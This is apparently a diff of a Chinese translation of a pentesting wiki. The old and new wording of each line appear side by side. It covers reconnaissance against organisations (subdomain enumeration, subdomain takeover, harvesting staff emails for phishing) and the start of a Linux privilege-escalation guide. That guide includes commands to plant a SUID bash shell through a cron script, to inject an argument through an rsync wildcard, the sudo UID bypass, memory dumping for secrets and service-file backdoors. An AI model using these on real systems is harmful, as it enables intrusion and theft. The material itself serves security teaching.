shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -141,63 +141,61 @@ return fhash
```
### **版权 / 唯一字符串**
在网页中搜索 **可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在 **google**、其他 **浏览器**或甚至在 **shodan** 中搜索该字符串： `shodan search http.html:"Copyright string"`
在网页中搜索**可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在**google**、其他**浏览器**或甚至在**shodan**中搜索该字符串：`shodan search http.html:"Copyright string"`
### **CRT 时间**
### **CRT时间**
通常会有一个 cron 作业，例如
通常会有一个cron作业，例如
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
更新服务器上所有域名证书。这意味着即使用于此的CA没有在有效期内设置生成时间，也可以**在证书透明日志中找到属于同一公司的域名**。\
更新服务器上的所有域证书。这意味着即使用于此的CA没有在有效期中设置生成时间，也可以**在证书透明日志中找到属于同一公司的域**。\
查看这个[**写作以获取更多信息**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)。
### 邮件 DMARC 信息
您可以使用一个网站，例如 [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) 或一个工具，例如 [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) 来查找**共享相同 DMARC 信息的域名和子域名**。
您可以使用一个网站，例如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或一个工具，例如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域和子域**。
### **被动接管**
显然，人们常常将子域名分配给属于云服务提供商的IP，并在某个时候**失去该IP地址但忘记删除DNS记录**。因此，仅仅在云中**创建一个虚拟机**（如 Digital Ocean），您实际上将**接管一些子域名**。
显然，人们常常将子域分配给属于云服务提供商的IP，并在某个时候**失去该IP地址但忘记删除DNS记录**。因此，仅仅在云中**生成一个虚拟机**（如Digital Ocean），您实际上将**接管一些子域**。
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)解释了一个关于它的故事，并提出了一个脚本，该脚本**在 DigitalOcean 中创建一个虚拟机**，**获取**新机器的**IPv4**，并**在 Virustotal 中搜索指向它的子域名记录**。
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)解释了一个关于它的故事，并提出了一个脚本，该脚本**在DigitalOcean中生成一个虚拟机**，**获取**新机器的**IPv4**，并**在Virustotal中搜索指向它的子域记录**。
### **其他方法**
**请注意，每次找到新域名时，您可以使用此技术发现更多域名。**
**请注意，每次找到新域时，您可以使用此技术发现更多域名。**
**Shodan**
如您所知，您可以通过组织名称搜索IP空间。您可以在shodan中使用以下数据进行搜索：`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域名。
如您所知，您可以使用IP空间的组织名称进行搜索。您可以在shodan中使用以下数据进行搜索：`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域。
您可以访问主网页的**TLS证书**，获取**组织名称**，然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称，使用过滤器：`ssl:"Tesla Motors"` 或使用像 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) 的工具。
您可以访问主网页的**TLS证书**，获取**组织名称**，然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称，使用过滤器：`ssl:"Tesla Motors"`或使用像[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)这样的工具。
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域名相关的**域名**及其**子域名**的工具，非常惊人。
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域相关的**域**及其**子域**的工具，非常惊人。
### **寻找漏洞**
检查一些[域名接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司正在**使用某个域名**但他们**失去了所有权**。只需注册它（如果足够便宜）并告知公司。
检查一些[域接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司**正在使用某个域**但他们**失去了所有权**。只需注册它（如果足够便宜）并告知公司。
如果您发现任何**IP与您在资产发现中找到的不同**的域名，您应该执行**基本漏洞扫描**（使用Nessus或OpenVAS）和一些[**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据运行的服务，您可以在**这本书中找到一些“攻击”它们的技巧**。\
如果您发现任何**IP与您在资产发现中找到的不同**的域，您应该执行**基本漏洞扫描**（使用Nessus或OpenVAS）和一些[**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside)，使用**nmap/masscan/shodan**。根据运行的服务，您可以在**这本书中找到一些“攻击”它们的技巧**。\
&#xNAN;_&#x4E;ote that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
## 子域
> 我们知道所有在范围内的公司、每个公司的所有资产以及与这些公司相关的所有域。
## 子域名
> 我们知道所有在范围内的公司、每个公司的所有资产以及与这些公司相关的所有域名。
是时候找到每个找到的域名的所有可能子域名。
是时候找到每个找到的域的所有可能子域。
> [!TIP]
> 请注意，一些查找域名的工具和技术也可以帮助查找子域名
> 请注意，一些查找域的工具和技术也可以帮助查找子域
### **DNS**
让我们尝试从**DNS**记录中获取**子域名**。我们还应该尝试进行**区域传输**（如果存在漏洞，您应该报告它）。
让我们尝试从**DNS**记录中获取**子域**。我们还应该尝试进行**区域传输**（如果存在漏洞，您应该报告它）。
```bash
dnsrecon -a -d tesla.com
```
@ -264,7 +262,7 @@ curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
```
- [**RapidDNS**](https://rapiddns.io) 免费API
- [**RapidDNS**](https://rapiddns.io) 免费 API
```bash
# Get Domains from rapiddns free API
rapiddns(){
@ -289,7 +287,7 @@ crt tesla.com
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **和** [**subscraper**](https://github.com/Cillian-Collins/subscraper)：它们在网络上抓取JS文件并从中提取子域名。
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **和** [**subscraper**](https://github.com/Cillian-Collins/subscraper)：它们在网上抓取JS文件并从中提取子域名。
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -317,7 +315,7 @@ python3 DomainTrail.py -d example.com
- [**securitytrails.com**](https://securitytrails.com/) 提供免费的 API 用于搜索子域名和 IP 历史
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
该项目提供 **与漏洞赏金计划相关的所有子域名** 的 **免费** 访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据，甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
该项目提供 **与漏洞悬赏计划相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据，甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
您可以在这里找到许多这些工具的 **比较**: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
@ -325,7 +323,7 @@ python3 DomainTrail.py -d example.com
让我们尝试通过暴力破解 DNS 服务器来查找新的 **子域名**，使用可能的子域名名称。
为此操作，您需要一些 **常见的子域名词汇表，如**:
为此操作，您需要一些 **常见的子域名词汇表，例如**:
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -347,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 的包装器，使用 Go 编写，允许您通过主动暴力破解枚举有效的子域名，并支持通配符处理和简单的输入输出。
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 的封装，使用 Go 编写，允许您通过主动暴力破解枚举有效的子域名，并支持通配符处理和简单的输入输出。
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -355,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) 使用 asyncio 异步暴力破解域名。
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) 使用 asyncio 异步地进行域名暴力破解。
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
@ -377,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列，它还可以尝试解析它们（但最好使用之前提到的工具）。
- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列的 **wordlist**。
- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列 **词表**。
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -397,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器，结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据，如定制的词汇表或历史 DNS/TLS 记录，准确合成更多相应的域名，并根据在 DNS 扫描期间收集的信息进一步扩展它们。
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器，结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据，如定制的单词列表或历史 DNS/TLS 记录，准确合成更多相应的域名，并根据在 DNS 扫描过程中收集的信息进一步扩展它们。
```
echo www | subzuf facebook.com
```
@ -405,9 +403,13 @@ echo www | subzuf facebook.com
查看我写的这篇博客文章，关于如何使用 **Trickest workflows** **自动化子域发现**，这样我就不需要在我的电脑上手动启动一堆工具：
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
{{#endref}}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
{{#endref}}
### **虚拟主机 / VHosts**
@ -436,73 +438,73 @@ VHostScan -t example.com
> [!NOTE]
> 使用此技术，您甚至可能能够访问内部/隐藏的端点。
### **CORS 暴力破解**
### **CORS Brute Force**
有时您会发现页面仅在 _**Origin**_ 头中设置有效的域/子域时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下，您可以利用这种行为来 **发现** 新的 **子域**。
有时您会发现页面仅在有效的域/子域设置在 _**Origin**_ 头时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下，您可以利用这种行为来 **发现** 新的 **子域**。
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **桶暴力破解**
在寻找 **子域名** 时，注意它是否 **指向** 任何类型的 **桶**，在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
此外，既然此时你已经知道了所有在范围内的域名，尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
在寻找 **子域名** 时，注意是否指向任何类型的 **桶**，在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
此外，既然此时您将知道所有在范围内的域名，请尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
### **监控**
你可以通过监控 **证书透明度** 日志来 **监控** 一个域名是否创建了 **新子域名**，[**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)可以做到这一点。
您可以通过监控 **证书透明度** 日志来 **监控** 一个域名是否创建了 **新子域名**，[**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)可以做到这一点。
### **寻找漏洞**
检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
如果 **子域名** 指向某个 **S3 桶**，[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
如果你发现任何 **子域名的 IP 与** 你在资产发现中已经找到的不同，你应该进行 **基本漏洞扫描**（使用 Nessus 或 OpenVAS）和一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务，你可以在 **本书中找到一些“攻击”它们的技巧**。\
如果您发现任何 **子域名的 IP 与您在资产发现中找到的不同**，您应该执行 **基本漏洞扫描**（使用 Nessus 或 OpenVAS）和一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务，您可以在 **本书中找到一些“攻击”它们的技巧**。\
&#xNAN;_&#x4E;ote 有时子域名托管在不受客户控制的 IP 内，因此不在范围内，请小心。_
## IPs
在初始步骤中，你可能已经 **找到了一些 IP 范围、域名和子域名**。\
现在是 **收集这些范围内的所有 IP** 和 **域名/子域名（DNS 查询）**的时候了。
在初始步骤中，您可能已经 **找到了一些 IP 范围、域名和子域名**。\
现在是 **收集这些范围内的所有 IP** 和 **域名/子域名（DNS 查询）**的时候。
使用以下 **免费 API** 的服务，你还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有（并可能让你找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)）
使用以下 **免费 API** 的服务，您还可以找到 **域名和子域名使用过的先前 IP**。这些 IP 可能仍然归客户所有（并可能让您找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)）
- [**https://securitytrails.com/**](https://securitytrails.com/)
你还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。
您还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。
### **寻找漏洞**
**对所有不属于 CDN 的 IP 进行端口扫描**（因为你很可能不会在这里找到任何有趣的东西）。在发现的运行服务中，你可能 **能够找到漏洞**。
**对所有不属于 CDN 的 IP 进行端口扫描**（因为您很可能不会在其中找到任何有趣的内容）。在发现的运行服务中，您可能 **能够找到漏洞**。
**查找一个** [**指南**](../pentesting-network/) **关于如何扫描主机。**
**查找** [**指南**](../pentesting-network/) **关于如何扫描主机。**
## 网络服务器猎杀
> 我们已经找到了所有公司及其资产，并且知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。
> 我们已经找到了所有公司及其资产，并且我们知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。
在之前的步骤中，你可能已经对发现的 **IP 和域名进行了某些侦察**，因此你可能 **已经找到了所有可能的网络服务器**。然而，如果你还没有，我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。
在之前的步骤中，您可能已经对发现的 **IP 和域名进行了某些侦察**，因此您可能 **已经找到了所有可能的网络服务器**。但是，如果您还没有，我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。
请注意，这将是 **面向网络应用发现** 的，因此你也应该 **进行漏洞** 和 **端口扫描**（**如果范围允许**）。
请注意，这将是 **面向网络应用程序发现** 的，因此您还应该 **执行漏洞** 和 **端口扫描**（如果范围允许）。
一种 **快速方法** 是使用 [**masscan** 在这里发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/#http-port-discovery)。\
另一个友好的工具来查找网络服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。你只需传递一个域名列表，它将尝试连接到 80 端口（http）和 443 端口（https）。此外，你可以指示尝试其他端口：
一种 **快速方法** 是使用 [**masscan** 在此处发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/#http-port-discovery)。\
另一个友好的工具来查找网络服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表，它将尝试连接到 80 端口（http）和 443 端口（https）。此外，您可以指示尝试其他端口：
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **截图**
现在你已经发现了范围内的**所有网络服务器**（包括公司的**IP**和所有的**域名**及**子域名**），你可能**不知道从哪里开始**。所以，让我们简单一点，先对它们进行截图。仅仅通过**查看****主页**，你就可以找到更**容易**被**利用**的**奇怪**端点。
现在你已经发现了范围内的**所有网络服务器**（在公司的**IP**和所有**域名**及**子域名**中），你可能**不知道从哪里开始**。所以，让我们简单一点，先对它们进行截图。仅通过**查看****主页**，你就可以找到更**容易**被**利用**的**奇怪**端点。
为了执行这个提议，你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
此外，你还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**，告诉你**哪些可能包含漏洞**，哪些则不然。
此外，你还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**，告诉你**哪些可能包含漏洞**，哪些则不包含。
## 公有云资产
为了找到属于公司的潜在云资产，你应该**从一份识别该公司的关键词列表开始**。例如，对于一家加密公司，你可以使用以下词汇：“`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`”。
你还需要一些**常用词汇的字典**，用于存储桶：
你还需要**常用词汇**的字典，用于存储桶：
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
@ -516,11 +518,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **寻找漏洞**
如果你发现**开放的存储桶或暴露的云函数**，你应该**访问它们**，看看它们能提供什么，以及你是否可以利用它们。
如果你发现**开放的存储桶或暴露的云函数**，你应该**访问它们**，看看它们提供了什么，以及你是否可以利用它们。
## 电子邮件
通过范围内的**域名**和**子域名**，你基本上已经拥有了**开始搜索电子邮件**所需的一切。这些是我找到公司电子邮件时效果最好的**API**和**工具**：
通过范围内的**域名**和**子域名**，你基本上拥有了**开始搜索电子邮件**所需的所有信息。这些是我找到公司电子邮件时效果最好的**API**和**工具**：
- [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API
- [**https://hunter.io/**](https://hunter.io/) 的API（免费版）
@ -529,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **寻找漏洞**
电子邮件在后续**暴力破解网络登录和身份验证服务**（如SSH）时会派上用场。此外，它们在**钓鱼**中也是必需的。此外，这些API还会提供关于电子邮件背后**个人**的更多**信息**，这对钓鱼活动非常有用。
电子邮件稍后将对**暴力破解网络登录和身份验证服务**（如SSH）非常有用。此外，它们在**钓鱼**中也是必需的。此外，这些API将为你提供更多关于电子邮件背后**个人**的信息，这对钓鱼活动非常有用。
## 凭证泄露
@ -555,7 +557,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
#### Github Dorks
还可以查看这个**页面**，寻找你可以在攻击的组织中搜索的潜在**github dorks**：
还可以查看此**页面**，寻找你可以在攻击的组织中搜索的潜在**github dorks**：
{{#ref}}
github-leaked-secrets.md
@ -568,9 +570,9 @@ github-leaked-secrets.md
### Google Dorks
老而经典的google dorks总是有助于找到**不该存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此，你可以选择你最喜欢的10个，或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们所有**。
老而经典的google dorks始终对查找**不应存在的暴露信息**非常有用。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此，你可以选择你最喜欢的10个，或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们所有**。
_请注意，期望使用常规Google浏览器运行所有数据库的工具将永远无法完成，因为Google会很快封锁你。_
_请注意，期望使用常规Google浏览器运行所有数据库的工具将永远无法完成，因为Google会很快阻止你。_
### **寻找漏洞**
@ -594,11 +596,11 @@ _请注意，期望使用常规Google浏览器运行所有数据库的工具将
**大多数漏洞**都是由漏洞猎人发现的，存在于**网络应用程序**中，因此在这一点上，我想谈谈**网络应用程序测试方法论**，你可以在这里[**找到这些信息**](../../network-services-pentesting/pentesting-web/)。
我还想特别提到[**开源工具的网络自动化扫描器**](../../network-services-pentesting/pentesting-web/#automatic-scanners)部分，因为如果你不应该期望它们找到非常敏感的漏洞，它们在**工作流程中提供一些初步的网络信息**时非常有用。
我还想特别提到[**开源工具的网络自动扫描器**](../../network-services-pentesting/pentesting-web/#automatic-scanners)部分，因为如果你不应该期望它们找到非常敏感的漏洞，它们在**工作流程中提供一些初步的网络信息**时非常有用。
## 综述
> 恭喜！到目前为止，你已经完成了**所有基本枚举**。是的，这很基础，因为还可以进行更多的枚举（稍后会看到更多技巧）。
> 恭喜！到目前为止，你已经完成了**所有基本枚举**。是的，这很基础，因为可以进行更多的枚举（稍后会看到更多技巧）。
所以你已经：
@ -614,7 +616,7 @@ _请注意，期望使用常规Google浏览器运行所有数据库的工具将
## **全自动侦查工具**
有几种工具可以执行针对给定范围的部分提议操作。
有几种工具可以执行针对特定范围的部分提议操作。
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@ -623,6 +625,6 @@ _请注意，期望使用常规Google浏览器运行所有数据库的工具将
## **参考文献**
- [**@Jhaddix**](https://twitter.com/Jhaddix) 的所有免费课程，如 [**漏洞猎人的方法论 v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI)
- 所有免费的 [**@Jhaddix**](https://twitter.com/Jhaddix) 课程，如 [**漏洞猎人的方法论 v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI)
{{#include ../../banners/hacktricks-training.md}}

124
src/linux-hardening/privilege-escalation/README.md
View File

@ -12,7 +12,7 @@
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
```
### 路径
### Path
如果您**对`PATH`变量中的任何文件夹具有写入权限**，您可能能够劫持某些库或二进制文件：
```bash
@ -45,7 +45,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)（在受害者上执行，仅检查2.x内核的漏洞）
始终**在Google中搜索内核版本**，也许你的内核版本在某个内核漏洞中被写入，这样你就可以确定该漏洞是有效的。
始终**在Google中搜索内核版本**，也许你的内核版本在某个内核漏洞中被写入，这样你就可以确认这个漏洞是有效的。
### CVE-2016-5195 (DirtyCow)
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
```
### Dmesg 签名验证失败
检查 **smasher2 box of HTB** 以获取此漏洞如何被利用的 **示例**
检查 **smasher2 box of HTB** 以获取此漏洞可能被利用的 **示例**
```bash
dmesg 2>/dev/null | grep "signature"
```
@ -158,7 +158,7 @@ rpm -qa #Centos
```
如果您可以访问机器的SSH，您还可以使用 **openVAS** 检查机器上安装的过时和易受攻击的软件。
> [!NOTE] > _请注意，这些命令将显示大量信息，其中大部分将是无用的，因此建议使用一些应用程序，如OpenVAS或类似工具，检查任何已安装的软件版本是否易受已知漏洞的攻击_
> [!NOTE] > _请注意，这些命令将显示大量信息，这些信息大多是无用的，因此建议使用一些应用程序，如OpenVAS或类似工具，检查任何已安装的软件版本是否易受已知漏洞的攻击_
## 进程
@ -168,7 +168,7 @@ ps aux
ps -ef
top -n 1
```
始终检查可能正在运行的 [**electron/cef/chromium debuggers**，您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\
始终检查可能正在运行的 [**electron/cef/chromium 调试器**，您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\
还要**检查您对进程二进制文件的权限**，也许您可以覆盖某个用户。
### 进程监控
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
对于给定的进程 ID，**maps 显示该进程的**虚拟地址空间内内存的映射方式；它还显示了**每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。通过**maps** 文件，我们知道哪些**内存区域是可读的**及其偏移量。我们使用这些信息**在 mem 文件中查找并将所有可读区域转储到文件中**。
对于给定的进程 ID，**maps 显示该进程的**虚拟地址空间内内存的映射方式；它还显示**每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。通过**maps** 文件，我们知道哪些**内存区域是可读的**及其偏移量。我们使用这些信息**在 mem 文件中查找并将所有可读区域转储到文件中**。
```bash
procdump()
(
@ -313,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
## 定时任务/Cron作业
## 定时/计划任务
检查是否有任何定时任务存在漏洞。也许你可以利用由root执行的脚本（通配符漏洞？可以修改root使用的文件？使用符号链接？在root使用的目录中创建特定文件？）。
检查是否有任何计划任务存在漏洞。也许你可以利用由 root 执行的脚本（通配符漏洞？可以修改 root 使用的文件？使用符号链接？在 root 使用的目录中创建特定文件？）。
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -340,7 +340,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**如果通配符前面有一个路径，比如** _**/some/path/\***_ **，那么它就不容易受到攻击（即使是** _**./\***_ **也不行）。**
**如果通配符前面有一个路径，比如** _**/some/path/\***_ **，那么它就不容易受到攻击（即使** _**./\***_ **也不行）。**
阅读以下页面以获取更多通配符利用技巧：
@ -380,8 +380,8 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### 可写的 _.service_ 文件
检查您是否可以写任何 `.service` 文件，如果可以，您 **可以修改它** 以便它 **在服务** 被 **启动**、**重启**或 **停止** 时 **执行** 您的 **后门**（也许您需要等到机器重启）。\
例如在 .service 文件中创建您的后门，使用 **`ExecStart=/tmp/script.sh`**
检查您是否可以写入任何 `.service` 文件，如果可以，您 **可以修改它** 以便在服务 **启动**、**重启**或 **停止** 时 **执行** 您的 **后门**（也许您需要等到机器重启）。\
例如，在 .service 文件中创建您的后门，使用 **`ExecStart=/tmp/script.sh`**
### 可写的服务二进制文件
@ -401,13 +401,13 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
然后，在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**，其 **名称与相对路径二进制文件相同**，当服务被要求执行脆弱操作（**启动**，**停止**，**重新加载**）时，您的 **后门将被执行**（普通用户通常无法启动/停止服务，但请检查您是否可以使用 `sudo -l`）。
**了解有关服务的更多信息，请参阅 `man systemd.service`。**
**了解有关服务的更多信息，请参见 `man systemd.service`。**
## **定时器**
**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件，用于控制 `**.service**` 文件或事件。 **定时器** 可以作为 cron 的替代方案，因为它们内置支持日历时间事件和单调时间事件，并且可以异步运行。
您可以通过以下命令列出所有定时器：
您可以使用以下命令列出所有定时器：
```bash
systemctl list-timers --all
```
@ -419,12 +419,12 @@ Unit=backdoor.service
```
在文档中，您可以阅读单位的定义：
> 当此计时器到期时要激活的单位。参数是单位名称，其后缀不是“.timer”。如果未指定，则此值默认为与计时器单位同名的服务，后缀除外。（见上文。）建议激活的单位名称和计时器单位的单位名称在后缀之外命名相同。
> 当此计时器到期时要激活的单位。参数是单位名称，其后缀不是“.timer”。如果未指定，则此值默认为与计时器单位同名的服务，除了后缀外。（见上文。）建议激活的单位名称和计时器单位的单位名称在名称上保持一致，除了后缀。
因此，要滥用此权限，您需要：
- 找到某个 systemd 单元（如 `.service`），该单元正在 **执行一个可写的二进制文件**
- 找到某个 systemd 单元，该单元正在 **执行一个相对路径**，并且您对 **systemd PATH** 具有 **可写权限**（以冒充该可执行文件）
